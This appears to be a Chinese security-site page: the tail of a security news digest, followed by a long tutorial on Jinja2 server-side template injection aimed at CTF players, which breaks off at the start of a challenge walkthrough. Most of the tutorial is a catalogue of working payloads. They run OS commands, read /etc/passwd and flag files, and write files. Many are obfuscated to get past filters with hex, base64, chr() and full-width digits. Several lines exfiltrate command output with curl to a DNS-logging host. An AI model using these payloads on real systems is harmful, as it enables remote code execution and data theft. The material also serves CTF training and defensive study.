专家称,聊天机器人通过消除明显的语法和拼写错误,数据显示,自从去年ChatGPT成为市场领导者以来,黑客越来越多地使用它进行网络犯罪活动。虽然Darktrace公司监测到恶意电子邮件诈骗数量下降了,但这些邮件的语言复杂性却急剧增加。因此,“长枪式钓鱼”等需要欺骗特定目标放弃密码或其他敏感信息的电子邮件对攻击者而言可能很难伪造得令人信服,但像ChatGPT这样的LL 8、加州法院要求 GitHub 提供 Twitter 源代码泄密者信息 https://www.freebuf.com/news/362056.html Cybernews 网站消息,Twitter 向美国北加州地区法院提出申请,希望代码托管平台 GitHub 能够提供源代码泄露者的具体信息。目前,法院已经批准,并要求 GitHub 在 4 月 3 号之前,提供发布者详细的身份信息。 9、木马版Tor浏览器以俄语用户为目标窃取加密钱包 https://www.anquanke.com/post/id/288007 卡巴斯基报告了针对俄罗斯和东欧等俄语用户的木马版 Tor 浏览器,浏览器植入了剪切板恶意程序,设计窃取用户的加密钱包。 10、Winter Vivern 黑客利用 Zimbra 漏洞窃取北约电子邮件 自 2023 年 2 月以来,一个名为 TA473(又名“Winter Vivern”)的黑客组织一直在积极利用未修补的 Zimbra 端点中的漏洞窃取北约官员、政府、军事人员和外交官的电子邮件。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
SSTI之细说jinja2的常用构造及利用思路
现在关于ssti注入的文章数不胜数,但大多数是关于各种命令语句的构造语句,且没有根据版本、过滤等具体细分,导致读者可能有一种千篇一律的感觉。所以最近详细整理了一些SSTI常用的payload、利用思路以及题目,谨以结合题目分析以及自己的理解给uu们提供一些参考,如有写错的地方,还望大佬们轻喷。 在介绍下ssti(服务端模板注入)的具体成因及案例之前,有必要先引入模板引擎的概念。 模板引擎介绍 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。 其不属于特定技术领域,它是跨领域跨平台的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm开发都会用到模板引擎技术。模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。 SSTI(服务端模板注入)攻击 SSTI(server-side template injection)为服务端模板注入攻击,它主要是由于框架的不规范使用而导致的。主要为python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序 各框架模板结构如下图所示: 实例 这里使用python的flask框架测试ssti注入攻击的过程。 from flask import Flask, render_template, request, render_template_string app = Flask(__name__) @app.route('/ssti', methods=['GET', 'POST']) def sb():    template = '''       <div class="center-content error">           <h1>This is ssti! %s</h1>       </div>   ''' % request.args["x"]    return render_template_string(template) if __name__ == '__main__':    app.debug = True    app.run() 本地测试如下: 发现存在模板注入 获得字符串的type实例 ?name={{"".__class__}} 这里使用的置换型模板,将字符串进行简单替换,其中参数x的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。 {{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。 以flask的jinja2引擎为例,官方的模板语法如下: {% ... %} 用于声明,比如在使用for控制语句或者if语句时 {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '1+1' 这个表达式 {# ... #} 用于模板注释 # ... ## 用于行语句,就是对语法的简化 #...#可以有和{%%}相同的效果 由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下图通过 SSTI 命令执行成功执行 whoami 命令: {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}} 可以看到命令被成功执行了。下面讲下构造的思路: 一开始是通过class通过 base 拿到object基类,接着利用 subclasses() 获取对应子类。在全部子类中找到被重载的类即为可用的类,然后通过init去获取globals全局变量,接着通过builtins获取eval函数,最后利用popen命令执行、read()读取即可。 上述构造及实例没有涉及到过滤,不需要考虑绕过,所以只是ssti注入中较简单的一种。但是当某些字符或者关键字被过滤时,情况较为复杂。实际上不管对于哪种构造来说,都离不开最基本也是最常用的方法。下面是总结的一些常用到的利用方法和过滤器。 常用的方法 __class__            类的一个内置属性,表示实例对象的类。 __base__             类型对象的直接基类 __bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__              查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 __subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order. __init__             初始化类,返回的类型是function __globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身. __import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] __str__()            返回描写这个对象的字符串,可以理解成就是打印出来。 url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app          应用上下文,一个全局变量。 config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} g                   {{g}}得到<flask.g of 'flask_ssti'> dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值 dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。 此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1   get传参 request.values.x1 所有参数 request.cookies      cookies参数 request.headers      请求头参数 request.form.x1   post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) [].__class__.__base__ ''.__class__.__mro__[2] ().__class__.__base__ {}.__class__.__base__ request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用 或者 [].__class__.__bases__[0]       //其他的类似 __new__功能:用所给类创建一个对象,并且返回这个对象。 常用的过滤器 详细说明可以参考官方文档:https://jinja.palletsprojects.com/en/latest/templates/,这里列出一些常用的,有待补充。 issubclass(A,B): 判断A类是否是B类的子类 int():将值转换为int类型; float():将值转换为float类型; lower():将字符串转换为小写; upper():将字符串转换为大写; title():把值中的每个单词的首字母都转成大写; capitalize():把变量值的首字母转成大写,其余字母转小写; trim():截取字符串前面和后面的空白字符; wordcount():计算一个长字符串中单词的个数; reverse():字符串反转; replace(value,old,new): 替换将old替换为new的字符串; truncate(value,length=255,killwords=False):截取length长度的字符串; striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。 safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}}; list():将变量列成列表; string():将变量转换成字符串; join():将一个序列中的参数值拼接成字符串。示例看上面payload; abs():返回一个数值的绝对值; first():返回一个序列的第一个元素; last():返回一个序列的最后一个元素; format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo! length():返回一个序列或者字典的长度; sum():返回列表内数值的和; sort():返回排序后的列表; default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。 length()返回字符串的长度,别名是count select() 通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。如果没有指定测试,则每个对象都将被计算为布尔值 可以用来获取字符串 实际使用为 ()|select|string 结果如下 <generator object select_or_reject at 0x0000022717FF33C0> 常用的构造语句 接着是总结的一些常用的命令执行语句。 无过滤 # 读文件 #读取文件类,<type ‘file’> file位置一般为40,直接调用 {{[].__class__.__base__.__subclasses__()[40]('flag').read()}} {{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}} {{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}} {{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3) #直接使用popen命令,python2是非法的,只限于python3 os._wrap_close 类里有popen {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}} #调用os的popen执行命令 #python2、python3通用 {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}} {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}} {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}} {{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}} #python3专属 {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}} #调用eval函数读取 #python2 {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} {{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}} {{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}} {{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}} #python3 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} {{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}} {{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}} {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}} {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} #调用 importlib类 {{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}} #调用linecache函数 {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}} {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}} {{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}} #调用communicate()函数 {{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}} #写文件 写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。 {{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于属于基类,所以要两次 .__bases__ {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}} #通用 getshell 原理就是找到含有 __builtins__ 的类,然后利用。 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %} 上面这些语句也不是说一成不变的随意套题目,还需要根据是否有过滤、框架是否有该可利用类、python版本高低等进行构造利用链,等下面说到利用思路时再结合例题分析,接着总结有过滤的情况。 有过滤 绕过 . 中括号[]绕过 可以利用 [ ]代替 . 的作用。 {{().__class__}} 可以替换为: {{()["__class__"]}} 举例: {{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}} attr()绕过 使用原生 JinJa2 的 attr() 函数。 {{().__class__}} 可以替换为: {{()|attr("__class__")}} {{getattr('',"__class__")}} 举例: {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}} 绕过单双引号 request绕过 flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过。 request.args.namerequest.cookies.namerequest.headers.namerequest.values.namerequest.form.name {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd     #分析: request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。 若args被过滤了,还可以使用values来接受GET或者POST参数。 其他方法的例子,可根据题目过滤的东西动态调整方法来进行绕过 {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} Cookie:arg1=open;arg2=/etc/passwd {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} post:arg1=open&arg2=/etc/passwd chr绕过 如果使用GET请求时,+号记得url编码,要不会被当作空格处理。 {% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}} 绕过关键字 反转或+号 使用切片将逆置的关键字顺序输出,进而达到绕过。 ""["__cla""ss__"] "".__getattribute__("__cla""ss__") 反转 ""["__ssalc__"][::-1] "".__getattribute__("__ssalc__"[::-1]) 利用"+"进行字符串拼接,绕过关键字过滤。 {{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}} join拼接 利用join()函数来绕过关键字过滤,和使用+号连接大差不差。 {{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}} 利用引号绕过 以用 或 的形式来绕过:fl""ag``fl''ag。 {{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}} 使用str原生函数replace替换 将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。 {{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}} ascii转换 将每一个字符都转换为ascii值后再拼接在一起。 "{0:c}".format(97)='a' "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__' 16进制编码绕过 我们可以利用对关键字编码的方法,绕过关键字过滤,例如用16进制编码绕过: "__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" 例子: {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}} base64编码 对于python2的话,还可以利用base64进行绕过,对于python3没有decode方法,所以不能使用该方法进行绕过。 "__class__"==("X19jbGFzc19f").decode("base64") 例子: {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}} 等价于 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} unicode编码 {%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%} lipsum.__globals__['os'].popen('tac /f*').read() Hex编码 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}} 等价于 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}} 8进制编码 {{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}} 可见,对于这些编码进行绕过,就是将是字符串的关键字进行编码,然后进行对应解码即可,rot13等其他编码也是同理。 利用chr函数 因为我们没法直接使用chr函数,所以需要通过__builtins__找到他 {% set chr=url_for.__globals__['__builtins__'].chr %} {{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}} 在jinja2可以使用~进行拼接 {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}} 绕过init 可以用__enter__或__exit__替代 {{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}} 绕过config 过滤了config,直接用self.dict就能找到里面的config {{self}} ⇒ <TemplateReference None> {{self.__dict__._TemplateReference__context}} 绕过中括号[ ] 利用 getitem绕过 先用列表演示说明getitem()函数的作用是输出序列属性中的某个索引处的元素。 Python 3.7.8 >>> ["a","kawhi","c"][1] 'kawhi' >>> ["a","kawhi","c"].pop(1) 'kawhi' >>> ["a","kawhi","c"].__getitem__(1) 'kawhi'{{"".__class__.__mro__[2]}  可以替换为: {{"".__class__.__mro__.__getitem__(2) 例子: {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} 等价于 {{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}} 魔术方法中的[] 调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号,可以使用getattribute进行绕过。 object.__getattribute__(self, name)是一个对象方法,当访问某个对象的属性时,会无条件的调用这个方法。 {{"".__getattribute__("__cla"+"ss__").__base__}} 配合request {{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__ 例子: {{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami pop()绕过 {{''.__class__.__mro__.__getitem__(5).__subclasses__().pop(48)('/flag').read()}}       // 指定序列属性 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(58).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典属性 但是应慎用pop()方法,因为在python中pop()会删除相应位置的值,在列表里就是默认输出最后一个元素并将其删除。 绕过大括号{{}} ①使用{%%} 装载一个循环控制语句来绕过: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} ②用print进行标记,得到回显 {%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%} ③使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:8080/?i=`whoami`').read()=='p' %}1{% endif %} 绕过下划线__ 利用request对象绕过 {{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__ {{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__ 等价于 {{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}} 绕过" ' [] 对于多个过滤的话,就在无过滤的基础上,将过滤的字符用上面各自对应的方法进行逐一替换后在拼接即可。 像这里的过滤了单双引号及中括号,那就用request方法代替''、',用pop方法替换中括号 payload {{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*') 绕过 " ' [] _ 利用request.cookies.name,接着使用flask自带的attr `' '|attr('__class__')`等价于`' '.__class__` 这是一个 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( )分割。如:attr()``attr()``| foo|attr("bar")   等同于   foo["bar"] 对于多种符号同时过滤,考虑用|attr( )结合其他方法进行绕过有强大的功能。 lipsum是一个方法,其调用__globals__可以直接使用os执行命令 {{lipsum.__globals__['os'].popen('whoami').read()}} {{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} 例子: {{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}} Cookie: a=__globals__;b=cat /f* 绕过 " ' [] _ os 多过滤了os关键字,可以使用request.cookies.a绕过即可,在刚刚绕过 " ' [] _的基础上在最后的传参数将os传入即可达到绕过。payload {{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}} Cookie: a=__globals__;b=os;c=cat /f* 绕过 " ' [] _ os {{ }} 在刚刚的基础上再多过滤大括号,使用print来标记使其有回显。payload ?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%} Cookie: a=__globals__;b=os;c=cat /f* 绕过 " ' arg [] _ os {{ }} request 使用~拼接pop组合出的各个字符,最后在拼接在一起达到绕过。payload {% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list). 等价于: {% print lipnum|attr('__globals__').get('os').popen('cat /flag').read()%} 或者使用chr: {%set po=dict(po=a,p=a)|join%} #pop {%set xia=(()|select|string|list).pop(24)%} #_ {%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__ {%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__ {%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__ {%set a=(lipsum|attr(glo)).get(built)%} {%set chr=a.chr%} #chr() 例子: {%print a.eval( chr(39)~chr(39)~chr(46)~chr(95)~chr(95)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(98)~chr(97)~chr(115)~chr(101)~chr(95)~chr(95)~chr(46)~chr(95)~chr(95)~chr(115)~chr(117)~chr(98)~chr(99)~chr(108)~chr(97)~chr(115)~chr(115)~chr(101)~chr(115)~ 等价于: {%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%} 使用下面的脚本来获得ascii码 <?php //使用chr绕过ssti过滤引号 $str="''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()"; $result=''; for($i=0;$i<strlen($str);$i++){    $result.='chr('.ord($str[$i]).')~'; } echo substr($result,0,-1); 绕过 " ' [] _ os {{ }} 数字 数字可以使用全角数字替代。payload {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%} 将半角数字转换为全角的脚本如下: # 绕过ban数字 def half2full(half):    full = ''    for ch in half:        if ord(ch) in range(33, 127):            ch = chr(ord(ch) + 0xfee0)        elif ord(ch) == 32:            ch = chr(0x3000)        else:            pass        full += ch    return full t='' while 1:    s = input("输入想要的数字")    for i in s:        t+=half2full(i)    print(t) 绕过 " ' arg [] _ os {{ }} 数字 print 使用全角数字和chr进行命令执行,但是结果要使用在线dns外带。 <?php //使用chr绕过ssti过滤引号 $str="__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')"; $result=''; for($i=0;$i<strlen($str);$i++){    $result.='chr('.ord($str[$i]).')~'; } echo substr($result,0,-1); 将普通数字变成全角的脚本如下: #正则匹配出字符串中的数字,然后返回全角数字 import re str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~c """ result="" def half2full(half):    full = ''    for ch in half:        if ord(ch) in range(33, 127):            ch = chr(ord(ch) + 0xfee0)        elif ord(ch) == 32:            ch = chr(0x3000)        else:            pass        full += ch    return full for i in re.findall('\d{2,3}',str):    result+="chr("+half2full(i)+")~"    print(i) print(result[:-1]) payload: ?name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr( )%}{%if x.eval(cmd)%}aaa{%endif%} q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')") 说了这么多的绕过形式,接着结合题目总结下常见的利用思路。 利用思路 无过滤的情况 ①随便找一个内置类对象用class拿到它所对应的类②用bases拿到基类(<class 'object'>)③用subclasses()拿到子类列表④在子类列表中直接寻找可以利用的类getshell 综上,基本思路为: 对象→类→基本类→子类→(init方法→globals属性→builtins属性)→读取文件的类 其中,()内的步骤有些时候不需要用到,所以加个括号表示可去。例如无过滤的情况下file类读取文件时: {{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 接着用代码演示图过一遍思路: 先找到一个类型所属的对象,在找到这个对象所继承的基类,接着找到子类。 假设我们需要用到的就是OS模块来命令执行,找到OS类了并将这个类初始化成方法,相当于我们调用了OS模块,然后通过globals保存对全局变量的引用,最后使用os模板进行命令执行读取文件。 到最后还要使用read()方法读取,是因为前面返回的结果为地址,如图所示: 所以还需要用read()读取一下。 如有过滤的话,其实追究其根本,还是要按照上面的那些步骤进行利用,只不过题目过滤了什么就用对应的方法绕过即可。 实战 [CSCCTF 2019 Qual]FlaskLight 这是一道没有任何过滤的题目,难度较小。首先是一成不变的步骤,尝试输入{{ 4*5 }}看看有没有回显20,发现存在SSTI注入: 接着利用{{''.__class__.__mro__[2].__subclasses__()}} 可爆出所有类,通过ctrl+f搜索也能找到利用类,但是不知道下标具体是多少无法加以利用。 